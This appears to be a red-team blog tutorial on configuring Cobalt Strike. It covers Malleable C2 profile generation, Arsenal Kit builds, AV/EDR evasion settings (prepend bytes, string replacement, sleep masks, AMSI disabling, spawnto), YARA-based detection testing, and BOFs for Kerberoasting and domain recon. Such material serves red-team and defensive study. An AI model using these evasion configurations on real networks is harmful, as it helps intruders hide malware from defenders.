Cobalt Strike

Cobalt Strike is a common tool used by Red Team’s and malicious threat actors. It’s composed of a teamserver application that runs on a Linux server, and a GUI client application that can run on Windows, Linux or MacOS.

Malware agents generated by Cobalt Strike are known as “beacons”. Beacon is implemented as a DLL file that is reflectivly loaded into the address space of a target process.

It offers a number of useful features;

  • Malleable C2: The ability to blend in with legitimate network traffic
  • Lateral Movement tools: The ability to chain together beacons using multiple different transport mechanisms, such as SMB & DNS
  • Artifact Kit: The ability to modify the source code of beacon agents, to support Anti-Virus evasion

Creating a Malleable C2 Profile

When starting a Cobalt Stike teamserver, you can specify a Command & Control (C2) profile, that specifies how beacons communicate with the teamserver.

To quickly get started with a ransomised C2 profile, we can use C2concealer from FortyNorthSecurity.

git clone https://github.com/FortyNorthSecurity/C2concealer
cd C2concealer
sudo ./install.sh

└─$ C2concealer
[i] Searching for the c2lint tool on your system (part of Cobalt Strike). Might take 10-20 seconds.
[i] Found c2lint in the /home/kali/Tools/CobaltStrike/c2lint directory.

Choose an SSL option:
1. Self-signed SSL cert (just input a few details)
2. LetsEncrypt SSL cert (requies a temporary A record for the relevant domain to be pointed to this machine)
3. Existing keystore
4. No SSL

[?] Option [1/2/3/4]: 1
Certificate Details:
What is the host? (ex: google.com)
> 192.168.1.200
What is the organization? (ex: Google)
> Bordergate
What is the country abbr? (ex: US)
> US
What is the city? (ex: Mountainview)
> Mountainview
What is the state? (ex: CA)
> CA
How long is it valid (in days)? (ex: 365)
> 365

[i] Here's how your certificate will read
        Common Name: 192.168.1.200
        Organization: Bordergate
        City: Mountainview
        State: CA
        Country: US
        Validity: 365

[?] Is this correct? [y/n] y

[i] Building random C2 malleable profile with 1 variants.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
        for: CN=192.168.1.200, OU=, O=Bordergate, L=Mountainview, ST=CA, C=US
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
        for: CN=192.168.1.200, OU=, O=Bordergate, L=Mountainview, ST=CA, C=US
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
        for: CN=192.168.1.200, OU=, O=Bordergate, L=Mountainview, ST=CA, C=US
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
        for: CN=192.168.1.200, OU=, O=Bordergate, L=Mountainview, ST=CA, C=US
<snip>
[%] [OPSEC] .host_stage is true. Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this?
############################################################
# Profile successfully passed c2lintcheck                  #
# Profile Name: ea221845.profile                           #
# Generated by FortyNorthSecurity's C2concealer tool.      #
############################################################

Then start the teamserver with the generated profile;

nohup ./teamserver 192.168.1.200 SuperSecretPassword bordergate.profile

Arsenal Kit

The Arsenal Kit can be downloaded from https://download.cobaltstrike.com/scripts. Unpack the arsenalkit tarball onto the teamserver.

Customising the arsenal kit appropriately is essential to evade Anti Virus and EDR solutions.

It is composed of a number of “kits”;

  • Applet: Provides signed Java Applet Attacks
  • Artifact: Source code framework to build executables that bypass AV
  • Elevate: A collection of privilege escalation exploits
  • Resource: Changes client side attack templates (HTA, PowerShell, VBA etc)
  • Sleep Mask: Obfuscates Beacon in memory
  • User Defined Reflective Loader: Modifies UDL behavior

Modify arsenal_kit.config in the arsenal kit directory to enable relevant kits;

## What kits do you want to build?
include_artifact_kit="true"
include_udrl_kit="false"
include_sleepmask_kit="true"
include_process_inject_kit="false"
include_resource_kit="true"
include_mimikatz_kit="true" 

Then build the artifacts using build_arsenal_kit.sh on the system running the Cobalt Strike client (not the teamserver).

./build_arsenal_kit.sh 
    ___                               ____ __ _ __ 
   /   |  _____________  ____  ____ _/ / //_/(_) /_
  / /| | / ___/ ___/ _ \/ __ \/ __ `/ / ,<  / / __/
 / ___ |/ /  (__  )  __/ / / / /_/ / / /| |/ / /_  
/_/  |_/_/  /____/\___/_/ /_/\__,_/_/_/ |_/_/\__/   

Cobalt Strike Arsenal Kit                                                                 

(c) 2012-2023 Fortra. All rights reserved.
-----------------------------------------------------------------
[arsenal kit] **[+]** Building Artifact Kit
[Artifact kit] **[+]** You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] **[*]** Using allocator: HeapAlloc
[Artifact kit] **[*]** Using STAGE size: 296948
[Artifact kit] **[*]** Using RDLL size: 5K
[Artifact kit] **[*]** Using stack spoofing technique
[Artifact kit] **[*]** Using system call method: none
[Artifact kit] **[+]** Artifact Kit: Building artifacts for technique: pipe
[Artifact kit] **[*]** Compile src-main/resource.rc
[Artifact kit] **[*]** Recompile artifact32.dll with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact32.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact32svc.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact32big.dll with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact32big.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact32svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Compile src-main/resource.rc
[Artifact kit] **[*]** Recompile artifact64.x64.dll with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact64.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact64svc.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact64big.x64.dll with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact64big.exe with src-common/bypass-pipe.c
[Artifact kit] **[*]** Recompile artifact64svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] **[+]** The artifacts for the bypass technique 'pipe' are saved in '/opt/cobaltstrike/arsenal-kit/dist/artifact/pipe'
[arsenal kit] **[+]** Moving the artifacts for the bypass technique 'pipe' to '/opt/cobaltstrike/arsenal-kit/dist/artifact'
[arsenal kit] **[+]** Add the artifact kit hooks to the dist/arsenal_kit.cna file
[arsenal kit] **[+]** Building Sleepmask Kit
[Sleepmask kit] **[+]** You have a x86_64 mingw--I will recompile the sleepmask beacon object files
[Sleepmask kit] **[*]** Building sleepmask to support Cobalt Strike version 4.7 and later
[Sleepmask kit] **[*]** Using Sleep Method: Sleep
[Sleepmask kit] **[*]** Mask text section: false
[Sleepmask kit] **[*]** Using system call method: none
[Sleepmask kit] **[*]** Compile sleepmask.x86.o
[Sleepmask kit] **[*]** Compile sleepmask_pivot.x86.o
[Sleepmask kit] **[*]** Compile sleepmask.x64.o
[Sleepmask kit] **[*]** Compile sleepmask_pivot.x64.o
[Sleepmask kit] **[+]** The sleepmask beacon object files are saved in '/opt/cobaltstrike/arsenal-kit/dist/sleepmask'
[arsenal kit] **[+]** Add the sleepmask kit hooks to the dist/arsenal_kit.cna file
[arsenal kit] **[+]** Building Mimikatz Kit
[Mimikatz kit] **[+]** Copying the mimikatz dlls
[Mimikatz kit] **[+]** Generate the mimikatz.cna from the template file.
[Mimikatz kit] **[+]** The Mimikatz files are saved in '/opt/cobaltstrike/arsenal-kit/dist/mimikatz'
[arsenal kit] **[+]** Add the mimikatz kit hooks to the dist/arsenal_kit.cna file
[arsenal kit] **[+]** Building Resource Kit
[Resource Kit] **[+]** Copy the resource files
[Resource Kit] **[+]** Generate the resources.cna from the template file.
[Resource Kit] **[+]** The resource kit files are saved in '/opt/cobaltstrike/arsenal-kit/dist/resource'
[arsenal kit] **[+]** Add the resource kit hooks to the dist/arsenal_kit.cna file

Once the modules have been built, we need to load dist/arsenal_kit.cna from the system where the CobaltStrike client is running. From the client menu, select CobaltStrike > Script Manager > Load and select the CNA file.


Evasion Techniques

In addition to defining network traffic characteristics, Malleable C2 profiles can control Beacon’s in-memory footprint, and determine how it carries out post exploitation activities.

Executable Properties

There are a number of options that can be set in the Stage section of the C2 profile to modify the properties of Beacon, and reduce it’s chance of being detected.

userwx = Memory marked with read, write and executable permissions at the same time is highly suspicious. Avoid doing so by setting userwx to false.

cleanup = Get Beacon to free memory associated with the Reflective DLL loader.

entry_point = Override the default DLL entry point.

image_size_x32/x64 = Change the default image size.

obfuscate = Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.

        set userwx "false";      
        set cleanup "true";            
        set entry_point "89410";     
        set image_size_x86 "525301";
        set image_size_x64 "548763";
        set obfuscate "true";

Prepend Offsets

When AV software scans memory, it’s typically looking for malicious code at certain offsets rather than scanning the entirety of the string.

Because of this, we can include some additional code at the start of the beacon agent using the prepend keyword. This can be set to standard nop instructions (0x90), or we can use alternative instructions such as incrementing and decrementing the EAX register;

\xff\xc0                   inc    eax
\xff\xc8                   dec    eax
        transform-x86 {
                prepend "\x90\x90\x90\x90\x90";
        }

        transform-x64 {
                prepend "\xff\xc0\xff\xc8\xff\xc0\xff\xc8\xff\xc0\xff\xc8\xff\xc0\xff\xc8";
        }

Replacing Strings

By default, Beacon includes a number of text strings that might be detected by Anti-Virus software. To examine these strings, first export a stageless executable, setting the output type to Raw.

This should output a file (beacon_x64.bin) that we can view using the strings command;

strings -n 10 beacon_x64.bin           
Stack around the variable '
' was corrupted.
The variable '
' is being used without being initialized.
The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.
A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:  
        char c = (i & 0xFF);
Changing the code in this way will not affect the quality of the resulting optimized code.
Stack memory was corrupted
A local variable was used before it was initialized
Stack memory around _alloca was corrupted
Unknown Runtime Check Error
Unknown Filename
Unknown Module Name
Run-Time Check Failure #%d - %s
Stack corrupted near unknown variable
Stack pointer corruption
Cast to smaller type causing loss of data
Stack memory corruption
Local variable used before initialization
Stack around _alloca corrupted
RegOpenKeyExW
RegQueryValueExW
RegCloseKey
PDBOpenValidate5
?456789:;<=
 !"#$%&'()*+,-./0123
Microsoft Base Cryptographic Provider v1.0
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq
LibTomMath
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/
ReflectiveLoader

To remove the ReflectiveLoader string we can use the strrep directive;

        transform-x64 {
                prepend "\xff\xc0\xff\xc8\xff\xc0\xff\xc8\xff\xc0\xff\xc8\xff\xc0\xff\xc8";
                strrep "ReflectiveLoader" "";
        }

Sleep Masks

Sleep Masks will obfuscate Beacon strings that reside in memory using an XOR algorithm. This will be applied when the Beacon is sleeping, and deobfuscation is performed when the Beacon is communicating with the C2 server. To enable the Sleep mask, just set the relevant stage directive.

stage {
        set sleep_mask "true";
}

It’s important to note that the strings in memory will only remain obfuscated when the beacon is sleeping. Because of this, it’s best to have a sleep time of at least a minute.

Post Exploitation Evasion

By default, CobaltStrike will inject into rundll32.exe. This should be changed to another process using the spawn_to directive.

post-ex {
        set spawnto_x86 "%windir%\\syswow64\\WUAUCLT.exe";
        set spawnto_x64 "%windir%\\sysnative\\WUAUCLT.exe";
        set obfuscate "true";
        set smartinject "true";
        set amsi_disable "true";
}

CobaltStrike uses named pipes extensively for inter-process communication. Change the default pipe names. These directives are set at the top level of the C2 configuration (rather than in a block).

set pipename "msrpc_##";
set pipename_stager "halfduplex_##";

Testing AV Evasion

It’s recommended that the payload is run against a number of commercial Anti-Virus solutions before deployment into an environment.

In all likelihood, after running the artifact kit, the default payloads will still get caught by Anti Virus software. If this is the case, ThreatCheck can be used to determine what string triggered on disk detection.

For testing memory scanning, Yara rules can be used. Google publish a list of Cobalt Strike related Yara rules here; https://github.com/chronicle/GCTI. These rules can be run against an artifact in memory;

yara64.exe -s RULES.yara 4432
warning: rule "CobaltStrike_Resources_Artifact32svc_Exe_v1_49_to_v3_14" in RULES.yara(146): string "$decoderFunc" may slow down scanning
beacon_default_sleep_mask 4432
0x25ca4fb0137:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03

Knowing the strings that match will allow to to determine which component of Cobalt Strike needs re-encoding. In this instance, it’s the default sleep mask implementation.


Beacon Object Files

Cobalt Strike’s beacon agent will normally either perform processes injection, or spawn cmd.exe/powershell.exe to execute commands. This is apparent from an EDR trajectory.

Beacon Object Files (BOF’s) are compiled C programs that operate in the context of a beacon, and provide a stealthier way of performing tasks. On the downside, if a BOF crashes the entire Beacon process will terminate 🙁

For instance, C2-Tool-Collection provides a number of very useful tools compiled as BOF’s. To compile the all the modules the repository contains;

cd /opt/cobaltstrike/C2-Tool-Collection/BOF
make

Each BOF will have it’s own CNA file that will need to be imported via the script manager to use.

find . -iname *cna
./Klist/Klist.cna
./Psw/Psw.cna
./Psk/Psk.cna
./Smbinfo/Smbinfo.cna
./Askcreds/Askcreds.cna
./KerbHash/KerbHash.cna
./CVE-2022-26923/CVE-2022-26923.cna
./StartWebClient/StartWebClient.cna
./PetitPotam/PetitPotam.cna
./ReconAD/ReconAD.cna
./Psx/Psx.cna
./Lapsdump/Lapsdump.cna
./SprayAD/SprayAD.cna
./Winver/Winver.cna
./Psc/Psc.cna
./Domaininfo/Domaininfo.cna
./Psm/Psm.cna
./AddMachineAccount/MachineAccounts.cna
./Kerberoast/Kerberoast.cna

The BOF’s need to be compiled on the system running the CobaltStrike client, rather than the teamserver.

Once the relevant CNA files are imported into the client, the commands they support can then be used in the CobaltStrike client;

[04/28 17:29:45] beacon> Domaininfo
[04/28 17:29:47] [+] host called home, sent: 13734 bytes
[04/28 17:29:47] [+] received output:
--------------------------------------------------------------------
[+] DomainName:
    bordergate.local
[+] DomainGuid:
    {DAFAF972-D128-4B26-BF34-56B40DC3BD94}
[+] DnsForestName:
    bordergate.local
[+] DcSiteName:
    Default-First-Site-Name
[+] ClientSiteName:
    Default-First-Site-Name
[+] DomainControllerName (PDC):
    \\DC01.bordergate.local
[+] DomainControllerAddress (PDC):
    \\192.168.1.205
[+] Default Domain Password Policy:
    Password history length: 24
    Maximum password age (d): 42
    Minimum password age (d): 1
    Minimum password length: 7
[+] Account Lockout Policy:
    Account lockout threshold: 0
    Account lockout duration (m): 30
    Account lockout observation window (m): 30
[+] NextDc DnsHostName:
    dc01.bordergate.local

Aggressor Scripts

Cobalt Strike functionality can be extended using Aggressor scripts. For instance, to add an additional right click menu for additional tools you normally use, the following CNA file can be used;

include(script_resource("/Tools/BOF/Winver.cna"));
include(script_resource("/Tools/BOF/Domaininfo/Domaininfo.cna")); 
include(script_resource("/Tools/BOF/Kerberoast/Kerberoast.cna")); 

popup beacon_top{
    menu "PowerGlove" {
 
        menu "BOF"{
            item "Winver"{
                local('$bid');
                foreach $bid ($1){
                    $cmd = "Winver";
                    bshell($bid, $cmd);
                }
            }
            item "DomainInfo"{
                local('$bid');
                foreach $bid ($1){
                    $cmd = "Domaininfo";
                    bshell($bid, $cmd);
                }
            }
            item "Kerberoast"{
                local('$bid');
                foreach $bid ($1){
                    $cmd = "Kerberoast list";
                    bshell($bid, $cmd);
                }
            }
        }
    }
}

External Loaders

If the default Cobalt Strike payloads are still getting detected by Anti-Virus software regardless of which modifications you make to the Arsenal Kit, consider executing CobaltStrike shellcode inside third party C# runner;

https://www.bordergate.co.uk/shellcode-execution-via-fibers/

https://www.bordergate.co.uk/process-injection/

Closing Thoughts

There is a massive amount of functionality built into Cobalt Strike. This post just covers some of the basics. Some further reading can be found on the Cobalt Strike website;

https://www.cobaltstrike.com/blog/in-memory-evasion/